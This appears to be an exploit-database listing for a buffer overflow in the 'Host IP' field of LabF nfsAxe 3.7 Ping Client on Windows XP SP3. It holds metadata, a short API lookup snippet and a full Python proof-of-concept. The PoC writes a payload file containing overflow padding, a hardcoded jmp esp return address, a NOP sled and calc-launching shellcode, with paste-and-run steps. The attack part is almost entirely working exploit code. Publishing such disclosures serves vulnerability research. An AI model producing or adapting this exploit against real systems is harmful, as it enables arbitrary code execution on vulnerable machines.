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"LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret)"

Author

"Dino Covotsos"

Platform

windows

Release date

2019-04-22

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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46737/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46737/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46737/41176/labf-nfsaxe-37-ping-client-host-ip-buffer-overflow-direct-ret/download/", "exploit_id": "46737", "exploit_description": "\"LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret)\"", "exploit_date": "2019-04-22", "exploit_author": "\"Dino Covotsos\"", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                                            

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#!/usr/bin/python
# Exploit Title: LabF nfsAxe 3.7 Ping Client - Buffer Overflow (Vanilla)
# Date: 20-04-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.labf.com/nfsaxe
# Version: 3.7
# Software Link : http://www.labf.com/download/nfsaxe.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP SP3 ENG x86
# CVE: TBC from Mitre
# PoC:
# 1.) Generate nfsaxeping.txt, copy the contents to clipboard.
# 2.) In the application(ping.exe) paste contents of clipboard in to "Host IP" and click ok.
# 3.) Click Start and calc pops
#0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)
#Special thanks to John Leitch for the Windows XP SP3 EN Calc Shellcode (16 Bytes)

shellcode = ("\x31\xC9"                     
        "\x51"                            
        "\x68\x63\x61\x6C\x63"            
        "\x54"                            
        "\xB8\xC7\x93\xC2\x77"            
        "\xFF\xD0")                 
		
buffer = "A" * 29 + "\x3b\x69\x5a\x77" + "\x90" * 10 + shellcode + "C" * (220-29-4-10-16)

payload = buffer
try:
    f=open("nfsaxeping.txt","w")
    print "[+] Creating %s bytes ping payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"